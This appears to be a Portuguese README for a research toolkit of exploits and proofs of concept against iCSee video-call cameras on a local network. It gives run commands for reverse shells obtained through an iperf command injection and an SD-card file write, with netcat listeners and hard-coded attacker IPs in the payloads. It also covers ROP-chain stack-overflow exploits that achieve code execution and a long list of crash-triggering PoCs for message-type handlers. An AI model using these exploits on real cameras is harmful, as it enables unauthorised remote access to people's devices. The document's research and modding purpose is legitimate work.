
Este é um conjunto de ferramentas/PoCs/exploits para câmeras que usam o aplicativo iCSee. E sim - ele pode rodar jogos de NES!
Este é um conjunto de ferramentas/PoCs/exploits que podem ser usados em câmeras de videochamada iCSee via LAN (e talvez também em câmeras sem videochamada). Isso poderia ser facilmente usado para gravar firmwares alternativos como substituto ao método de atualização por cartão SD.
Nota: Qualquer exploit de corrupção de memória só funcionará se a versão do firmware da sua câmera for V5.00.R02.000949U5.10000.141324.0000010 ou V5.00.R02.000807E5.10000.346724.0000010 – esses exploits dependem de offsets fixos, que mudam a cada compilação do firmware.
[0] Enumeração, Desmontagem e Extração de Firmware
[1] Aprendendo a Linguagem da Câmera
[2] Encontrando Integer Overflows Inúteis + Alguns Bugs Úteis
[3] Morte por Stack Overflows + Diversão com Canary
[4] Explorando Todas as Coisas
[5] Câmera Diferente, Mesmo Aplicativo
[6] Vindicação + Exploit de Corrupção de Memória Completo na Segunda Câmera
[7] Emulando Jogos de NES na Câmera
pycryptodome : Para criptografia de login RSApwntools : Para shellcodepyftpdlib : Para servidor FTPpynput : Para entrada de teclado NESget_system_infoUsa o método get_system_info para obter informações sobre a câmera através da porta 34567.
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logsUsa uma funcionalidade de texto remanescente para extrair logs do dispositivo (os logs vão parar em FTPTestDir/Test).
python3 icseeu.py ftp_get_logs
gdb_revshellExplora uma vulnerabilidade de escrita em arquivo no cartão SD e a vulnerabilidade de execução do binário iperf que permite a execução remota de um binário presente no cartão SD, para obter uma reverse shell e iniciar um depurador GDB que se anexa ao processo principal App.
Terminal 1:
nc -l 1234
Terminal 2:
python3 icseeu.py gdb_revshell
Terminal 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Nota: Não pare o programa por mais de 30 segundos, senão o watchdog reclama e o processo App será reiniciado!
Nota 2: Pode ser necessário modificar os endereços IP fixos no payload (GDB_Revshell/remote_mgmt.c) para o IP da sua máquina na LAN e reconstruir o payload.
gdb_revshell_injectExplora uma vulnerabilidade de escrita em arquivo no cartão SD e a vulnerabilidade de injeção de comando do iperf que permite a execução remota de um binário presente no cartão SD, para obter uma reverse shell e iniciar um depurador GDB que se anexa ao processo principal App.
Isso é útil para dispositivos que já possuem um binário iperf, o que impede o outro método.
Terminal 1:
nc -l 1234
Terminal 2:
python3 icseeu.py gdb_revshell_inject
Terminal 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Nota: Não pare o programa por mais de 30 segundos, senão o watchdog reclama e o processo App será reiniciado!
Nota 2: Pode ser necessário modificar os endereços IP fixos no payload (GDB_Revshell/remote_mgmt.c) para o IP da sua máquina na LAN e reconstruir o payload.
iperf_inject_exploitExplora a injeção de comando do iperf para estabelecer uma reverse shell.
Terminal 1:
nc -l 1234
Terminal 2:
python3 icseeu.py iperf_inject_exploit
Nota: Pode ser necessário modificar os endereços IP fixos no payload (Revshell_Inject/remote_mgmt.c) para o IP da sua máquina na LAN e reconstruir o payload.
Estes são exploits para o segundo stack overflow no handler do tipo de mensagem 0x7d8. Esse overflow é interessante porque nos permite contornar o stack canary e obter execução.
Você precisará construir o payload do dispatcher antes que estes funcionem (execute make no diretório PayloadDispatcher) e o payload que você deseja executar na câmera executando make nos respectivos diretórios (ex.: ImageDisplay).
Notas:
screenflashDemonstra que temos execução de código piscando a tela.
python3 icseeu.py exploit_goke screenflash
rgbDemonstra que temos controle da tela piscando cores RGB.
python3 icseeu.py exploit_goke rgb
imagedisplayUsa a escrita de arquivo para enviar uma imagem raw RGB 5:6:5; execute ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw em uma imagem no diretório para obter um arquivo image.raw no diretório ImageDisplay para que isso funcione. A imagem será exibida na tela.
python3 icseeu.py exploit_goke imagedisplay
buttontestDemonstra que podemos ler o estado dos botões; pisca uma cor quando um dos botões é pressionado.
python3 icseeu.py exploit_goke buttontest
pongUma implementação mínima do jogo Pong que demonstra que temos controle da tela e dos botões frontais, além de demonstrar um payload um pouco mais complexo.
python3 icseeu.py exploit_goke pong
nesUm emulador de NES adaptado que pode rodar o rom.nes colocado no diretório GOKE_Payloads/nes; execute make em GOKE_Payloads/nes/smolnes e GOKE_Payload/nes para gerar os binários.
python3 icseeu.py exploit_goke nes
Este é um exploit para um stack overflow em outra câmera sem stack canary, mas com NX. Escrevi uma ROP-chain para pivotar a stack e obter execução de uma ROP-chain grande; essa ROP-chain mapeia memória executável, carrega o conteúdo de um arquivo na memória, cria uma thread que o executa, depois restaura o estado da stack e continua a execução.
Você precisará construir o payload antes que estes funcionem; execute make nos respectivos diretórios (ex.: ImageDisplay).
Notas:
screenflashDemonstra que temos execução de código piscando a tela.
python3 icseeu.py exploit_xm530 screenflash
rgbDemonstra que temos controle da tela piscando cores RGB.
python3 icseeu.py exploit_xm530 rgb
imagedisplayUsa a escrita de arquivo para enviar uma imagem raw RGB 5:6:5; execute ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw em uma imagem no diretório para obter um arquivo image.raw no diretório ImageDisplay para que isso funcione. A imagem será exibida na tela.
python3 icseeu.py exploit_xm530 imagedisplay
Mais detalhes sobre essas provas de conceito (e suas causas subjacentes) estão nos blogs no topo deste README.
integer_underflow_httpEsta PoC causa uma falha devido a um integer underflow no servidor HTTP.
python3 icseeu.py integer_underflow_http
iperf_runEsta PoC executará o arquivo armazenado no cartão SD em iperf/iperf (seja script ash ou binário).
python3 icseeu.py iperf_run
iperf_injectEsta PoC executará o comando reboot através de uma injeção de comando; o arquivo iperf/iperf deve existir no cartão SD para que isso funcione.
python3 icseeu.py iperf_inject
assert_trigger_0x41aEsta PoC dispara um assert devido a uma alocação grande no handler do tipo de mensagem 0x41a (causando uma falha).
python3 icseeu.py assert_trigger_0x41a
integer_overflow_0x41aEsta PoC dispara uma falha devido a um integer overflow que causa uma leitura fora dos limites (OOB-read) no handler da mensagem 0x41a.
python3 icseeu.py integer_overflow_0x41a
stack_overflow_0x43aEsta PoC dispara uma falha devido a um stack overflow no handler do tipo de mensagem 0x43a.
python3 icseeu.py stack_overflow_0x43a
stack_overflow_0x438_1Esta PoC dispara uma falha devido ao primeiro stack overflow no handler do tipo de mensagem 0x438.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x438_2Esta PoC dispara uma falha devido ao segundo stack overflow no handler do tipo de mensagem 0x438.
python3 icseeu.py stack_overflow_0x438_2
stack_overflow_0xdacEsta PoC dispara uma falha devido a um stack overflow no handler do tipo de mensagem 0xdac.
python3 icseeu.py stack_overflow_0xdac
stack_overflow_0x5a4Esta PoC dispara uma falha devido a um stack overflow no handler do tipo de mensagem 0x5a4.
python3 icseeu.py stack_overflow_0x5a4
stack_overflow_0x414Esta PoC dispara uma falha devido a um stack overflow no handler do tipo de mensagem 0x414.
python3 icseeu.py stack_overflow_0x414
stack_overflow_0x410_1Esta PoC dispara uma falha devido ao primeiro stack overflow no handler do tipo de mensagem 0x410.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x410_2Esta PoC dispara uma falha devido ao segundo stack overflow no handler do tipo de mensagem 0x410.
python3 icseeu.py stack_overflow_0x410_2
stack_overflow_0x5a8Esta PoC dispara uma falha devido a um stack overflow no handler do tipo de mensagem 0x5a8.
python3 icseeu.py stack_overflow_0x5a8
stack_overflow_0x41eEsta PoC dispara uma falha devido a um stack overflow no handler do tipo de mensagem 0x41e.
python3 icseeu.py stack_overflow_0x41e
stack_overflow_0x7d8_1Esta PoC dispara uma falha devido ao primeiro stack overflow no handler do tipo de mensagem 0x7d8.
python3 icseeu.py stack_overflow_0x7d8_1
stack_overflow_0x7d8_2Esta PoC dispara uma falha devido ao segundo stack overflow no handler do tipo de mensagem 0x7d8.
python3 icseeu.py stack_overflow_0x7d8_2
stack_overflow_0x8a6Esta PoC dispara uma falha devido a um stack overflow no handler do tipo de mensagem 0x8a6 (não presente em todas as câmeras).
python3 icseeu.py stack_overflow_0x8a6